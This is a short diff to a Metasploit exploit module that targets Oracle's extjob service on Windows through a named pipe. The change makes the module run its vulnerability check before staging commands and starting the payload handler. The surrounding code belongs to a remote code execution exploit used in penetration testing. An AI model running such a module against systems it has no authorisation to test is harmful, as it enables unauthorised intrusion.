diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index 8e5df0a0d1..f79440694c 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -53,9 +53,13 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...") - execute_cmdstager({:linemax => 1500}) - handler + if check == Exploit::CheckCode::Vulnerable + print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...") + execute_cmdstager({:linemax => 1500}) + handler + else + print_error "#{rhost} does not appear to be vulnerable!" + end end def execute_command(cmd, opts)